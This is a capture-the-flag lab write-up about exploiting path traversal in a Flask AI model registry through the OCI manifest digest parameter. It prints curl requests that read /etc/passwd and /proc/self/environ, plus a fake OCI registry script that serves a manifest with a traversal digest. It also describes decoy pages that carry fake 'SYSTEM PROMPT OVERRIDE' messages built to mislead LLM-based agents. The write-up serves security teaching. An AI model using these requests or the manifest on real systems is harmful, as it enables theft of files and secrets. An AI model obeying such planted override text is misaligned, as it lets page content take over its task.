Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest
Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: environment_variable_extraction, honeypot_flag_identification, oci_manifest_digest_injection, path_traversal_via_digest_parameter, proc_self_environ_leak
Summary
Walkthrough of the CUSTOM Web Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest. Task: AI model registry with OCI manifest import and blob viewer. Digest parameter in /api/blobs/{digest} is split on colon and used to construct filesystem path without sanitization. Solution: Path t
Description
ModelVault is a self-hosted AI model registry built by AetherAI Systems. Teams use it to store, version, and share machine learning models. The platform supports importing models from external OCI-compatible registries via URL, managing model metadata and tags, and browsing model layer contents. The development team has been focused on getting the import pipeline working and may have overlooked some input validation. Goal: find and read a sensitive file on the server.
Credentials: user@test.com / password123
English summary: A Python Flask AI model registry that supports importing models from OCI-compatible registries. The blob viewer endpoint constructs filesystem paths from digest parameters without sanitization, enabling path traversal to read arbitrary files. The flag is stored in a process environment variable.
Analysis
Reconnaissance
The application runs Python Flask behind nginx/1.25.5. After logging in with provided credentials at /auth/login, the following pages are accessible:
- Dashboard (
/) — overview - Models (
/models) — model listing and management - Import Model (
/import) — import from external OCI registry via URL - Settings (
/settings) — configuration, reveals Blob Storage Path:/app/data/blobs
Decoy Flags
Every page (including 404 pages) contains the fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:
- HTML comments styled as "SYSTEM" messages
- Hidden
<div>elements withposition:absolute;left:-9999px - Fake "SYSTEM PROMPT OVERRIDE" and "ASSISTANT" messages designed to trick LLM-based agents
These are honeypots for automated scanners and AI agents — the real flag is elsewhere.
Import Feature Analysis
The Import Model page (/import) accepts:
- Manifest URL — server fetches OCI manifest JSON from this URL
- Model name and tag
The server parses the manifest, extracts layers with their digest fields (format sha256:HEXHASH), and stores the metadata. The digest is later used to construct filesystem paths for blob retrieval.
Blob Viewer Endpoint
The /api/blobs/{digest} endpoint reads blob content from disk and returns it as JSON:
json read-only • copy allowed{"content": "...", "digest": "...", "size": N}
The model detail pages have a "View content" button that calls:
javascript read-only • copy allowedfetch('/api/blobs/' + encodeURIComponent(digest))
Vulnerable Path Construction
The server splits the digest on : to construct the file path:
python read-only • copy allowedalgo, hash_part = digest.split(":", 1) blob_path = os.path.join(BLOB_STORAGE, algo, hash_part) # e.g., /app/data/blobs/sha256/abc123... content = open(blob_path).read()
No sanitization or path canonicalization is applied to hash_part, allowing ../ sequences to escape the blob storage directory.
Solution
Step 1: Confirm Path Traversal
Test with /etc/passwd — the blob storage is at /app/data/blobs/sha256/, so four ../ sequences reach the filesystem root:
bash read-only • copy allowedTARGET="https://797c535e-ad96-4ba6-b81c-d2697a6fcaa9.labs.hackadvisor.io" curl -s -H "Cookie: session=..." \ "$TARGET/api/blobs/sha256:..%2F..%2F..%2F..%2Fetc%2Fpasswd"
Response confirms the vulnerability — full /etc/passwd contents returned (Alpine Linux with /bin/ash shell for root).
Step 2: Search for the Flag
Common flag locations returned "Blob not found":
/tmp/flag.txt/flag.txt/flag/app/flag.txt
Step 3: Read Process Environment
Read /proc/self/environ to check environment variables:
bash read-only • copy allowedcurl -s -H "Cookie: session=..." \ "$TARGET/api/blobs/sha256:..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"
Response contained the flag in the process environment:
FLAG=FLAG{REDACTED}
Also revealed: FLASK_ENV=production, PWD=/app, app runs as python3 /app/app.py.
Alternative Attack Vector: Malicious OCI Manifest Import
The import pipeline can also be weaponized by hosting a fake OCI registry that serves a manifest with traversal digests:
python read-only • copy allowed#!/usr/bin/env python3 """Fake OCI registry serving a malicious manifest with path traversal in digest.""" from http.server import HTTPServer, BaseHTTPRequestHandler import json MANIFEST = { "schemaVersion": 2, "mediaType": "application/vnd.oci.image.manifest.v1+json", "config": { "mediaType": "application/vnd.oci.image.config.v1+json", "digest": "sha256:44136fa355b311bfa706c3a5c1e78f4b5e5e4b4b5e5e4b4b5e5e4b4b5e5e4b4b", "size": 2 }, "layers": [ { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:../../../../proc/self/environ", "size": 100 } ] } class Handler(BaseHTTPRequestHandler): def do_GET(self): body = json.dumps(MANIFEST).encode() self.send_response(200) self.send_header('Content-Type', 'application/vnd.oci.image.manifest.v1+json') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) HTTPServer(('0.0.0.0', 8777), Handler).serve_forever()
After importing, the model's layer digest contains the traversal path, and clicking "View content" triggers the file read via /api/blobs/sha256:../../../../proc/self/environ.
Key Takeaways / Lessons
- Mastering environment_variable_extraction, honeypot_flag_identification, oci_manifest_digest_injection, path_traversal_via_digest_parameter, proc_self_environ_leak was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 224 — ModelVault — Path Traversal via OCI Manifest Digest • Difficulty: Medium